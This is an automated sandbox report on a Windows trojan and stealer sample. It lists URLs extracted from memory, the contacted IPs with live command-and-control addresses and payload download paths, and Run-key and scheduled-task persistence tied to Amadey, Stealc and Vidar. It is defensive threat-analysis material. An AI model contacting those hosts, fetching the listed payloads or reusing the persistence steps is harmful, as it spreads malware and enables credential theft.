http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	1c593ec106.exe, 00000009.00000000.2376356930.0000000000C51000.00000080.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 00000009.00000002.2920638250.00000000009B1000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000009B1000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000000.2528010907.0000000000C51000.00000080.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000009B1000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000000.2695008858.0000000000C51000.00000080.00000001.01000000.0000000A.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/spocs	firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 00000023.00000002.3337329658.0000028631F5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3338983377.000002863207E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com	firefox.exe, 00000023.00000002.3321697398.0000028631045000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2978941920.000002862D252000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://completion.amazon.com/search/complete?q=	firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2608317826.00000238F7118000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3168184572.000002862DC03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.19/Vi9leo/index.phpM:S	explorti.exe, 00000007.00000002.2926586035.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.19/Local	explorti.exe, 00000007.00000002.2926586035.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://monitor.firefox.com/breach-details/	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService	firefox.exe, 00000018.00000002.2631652987.00000238F3815000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 00000018.00000002.2630851621.00000238F3709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2630851621.00000238F372C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2598025146.00000238F3712000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.00000286310AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3025589583.000002862D495000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://85.28.47.31/cwx	8ec8c5c339.exe, 0000000A.00000002.2721852651.0000000002621000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm	firefox.exe, 00000023.00000002.3345818206.0000028632403000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://profiler.firefox.com/	firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/#the-hr-element-2	firefox.exe, 00000023.00000002.3321697398.0000028631021000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://85.28.47.31/8405906461a5200c/softokn3.dllF	8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse	unknown
http://85.28.47.31/8405906461a5200c/freebl3.dlly	8ec8c5c339.exe, 00000008.00000002.2741806930.00000000024C7000.00000004.00000020.00020000.00000000.sdmp	false	22%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.openh264.org/getActiveAddons/	firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 00000023.00000002.3334627067.0000028631D33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DAD4000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/sets	firefox.exe, 00000018.00000002.2628599943.00000238F2E24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2996654486.000002862D324000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	8ec8c5c339.exe, 00000008.00000002.2772437100.0000000028AA1000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2628599943.00000238F2EAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2644160751.000001F4143C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863106A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863107C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://src.chromium.org/viewvc/chrome/trunk/src/third_party/cld/languages/internal/languages.cc	firefox.exe, 00000023.00000003.2833583247.000002863208E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.2833188237.000002863208E000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=utf-8&mode=blended&tag=mozill	firefox.exe, 00000023.00000002.3338983377.000002863207E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 00000018.00000002.2630851621.00000238F3709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2630851621.00000238F372C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2598025146.00000238F3712000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.00000286310AB000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881The	firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.accounts.firefox.com/v1	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/common	firefox.exe, 00000018.00000002.2628599943.00000238F2E24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2996654486.000002862D324000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.mozilla.com/v1i	firefox.exe, 00000023.00000002.3025589583.000002862D495000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://fpn.firefox.com	firefox.exe, 00000023.00000002.3321697398.0000028631045000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2978941920.000002862D252000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	8ec8c5c339.exe, 00000008.00000002.2738630098.0000000000400000.00000040.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc	firefox.exe, 00000023.00000002.3025589583.000002862D495000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.widevine.com/	firefox.exe, 00000018.00000002.2631652987.00000238F3815000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3193026235.000002862DD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com/isUnderHiddenEmbedderElement	firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/policies/privacy/2	firefox.exe, 00000023.00000002.3168184572.000002862DC8B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://exslt.org/dates-and-times	firefox.exe, 00000018.00000002.2628599943.00000238F2E81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2996654486.000002862D381000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	8ec8c5c339.exe, 00000008.00000002.2772437100.0000000028AA1000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2628599943.00000238F2EAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2644160751.000001F4143C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863106A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863107C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.31/5499d72b3a3e55be.php-w6	8ec8c5c339.exe, 0000000A.00000002.2721852651.0000000002621000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	8ec8c5c339.exe, 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/	firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863106A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3168184572.000002862DC6D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr	firefox.exe, 00000023.00000002.3345818206.0000028632403000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000023.00000002.3108413567.000002862DAF6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1:	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2625566496.00000238E7667000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bugzilla.mo	firefox.exe, 00000023.00000002.3334627067.0000028631D33000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://amazon.com	firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3321697398.000002863107C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1238180Required	firefox.exe, 00000023.00000002.3108413567.000002862DAA8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/accountC:	firefox.exe, 00000015.00000002.2580813098.000001CBE7950000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2625098000.00000238E7430000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2817649774.0000025C6DB00000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000023.00000002.3108413567.000002862DA03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.mozilla.com/v1i#	firefox.exe, 00000023.00000002.3025589583.000002862D495000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.31/8405906461a5200c/freebl3.dll9	8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	firefox.exe, 00000023.00000002.3321697398.00000286310AB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/	firefox.exe, 00000018.00000002.2636379005.00000238F5289000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3306154976.000002862E803000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecop	8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mozilla-services/screenshotshttps://screenshots.firefox.com/	firefox.exe, 00000023.00000002.3108413567.000002862DAD4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://exslt.org/strings	firefox.exe, 00000018.00000002.2625566496.00000238E7603000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1403293	firefox.exe, 00000023.00000002.3321697398.000002863107C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/soka/random.exeN	8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	8ec8c5c339.exe, 00000008.00000002.2738630098.000000000043C000.00000040.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: safe	unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/searchwikipedia	firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ethiopic.org/Collation/OrderedLists.html.	firefox.exe, 00000023.00000002.3306154976.000002862E8E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://85.28.47.31/Qwj	8ec8c5c339.exe, 0000000A.00000002.2721852651.0000000002621000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://85.28.47.31Wi	8ec8c5c339.exe, 0000000A.00000002.2721852651.00000000025EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/searchpictureinpicture	firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	prod.ads.prod.webservices.mozgcp.net	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
85.28.47.31	unknown	Russian Federation	31643	GES-ASRU	true
185.215.113.19	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.184.238	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1483377
Start date and time:	2024-07-27 05:37:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	38
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	8NjcvPNvUr.exe renamed because original name is a hash value
Original Sample Name:	e04afeeb6bb46b372bc1d7c2e2f25ead.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@44/53@22/10
EGA Information:	Successful, ratio: 40%
HCA Information:	Successful, ratio: 58% Number of executed functions: 78 Number of non-executed functions: 254
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.168.117.173
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, d.3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.8.0.4.0.0.3.0.1.3.0.6.2.ip6.arpa, location.services.mozilla.com
Execution Graph export aborted for target 8NjcvPNvUr.exe, PID 6892 because it is empty
Execution Graph export aborted for target explorti.exe, PID 5480 because there are no executed function
Execution Graph export aborted for target explorti.exe, PID 7184 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:37:58	Task Scheduler	Run new task: explorti path: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
04:39:08	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 8ec8c5c339.exe C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
04:39:16	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 1c593ec106.exe C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe
04:39:24	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 8ec8c5c339.exe C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe
04:39:28	Task Scheduler	Run new task: axplong path: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
04:39:32	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 1c593ec106.exe C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe
23:39:01	API Interceptor	31562x Sleep call for process: explorti.exe modified
23:39:17	API Interceptor	200x Sleep call for process: 8ec8c5c339.exe modified
23:39:43	API Interceptor	3x Sleep call for process: WerFault.exe modified
23:39:43	API Interceptor	82x Sleep call for process: 1c593ec106.exe modified
23:40:02	API Interceptor	11x Sleep call for process: axplong.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.117.188.166	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Babadeda	Browse
	file.exe	Get hash	malicious	Babadeda	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Babadeda, Coinhive, Xmrig	Browse
85.28.47.31	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
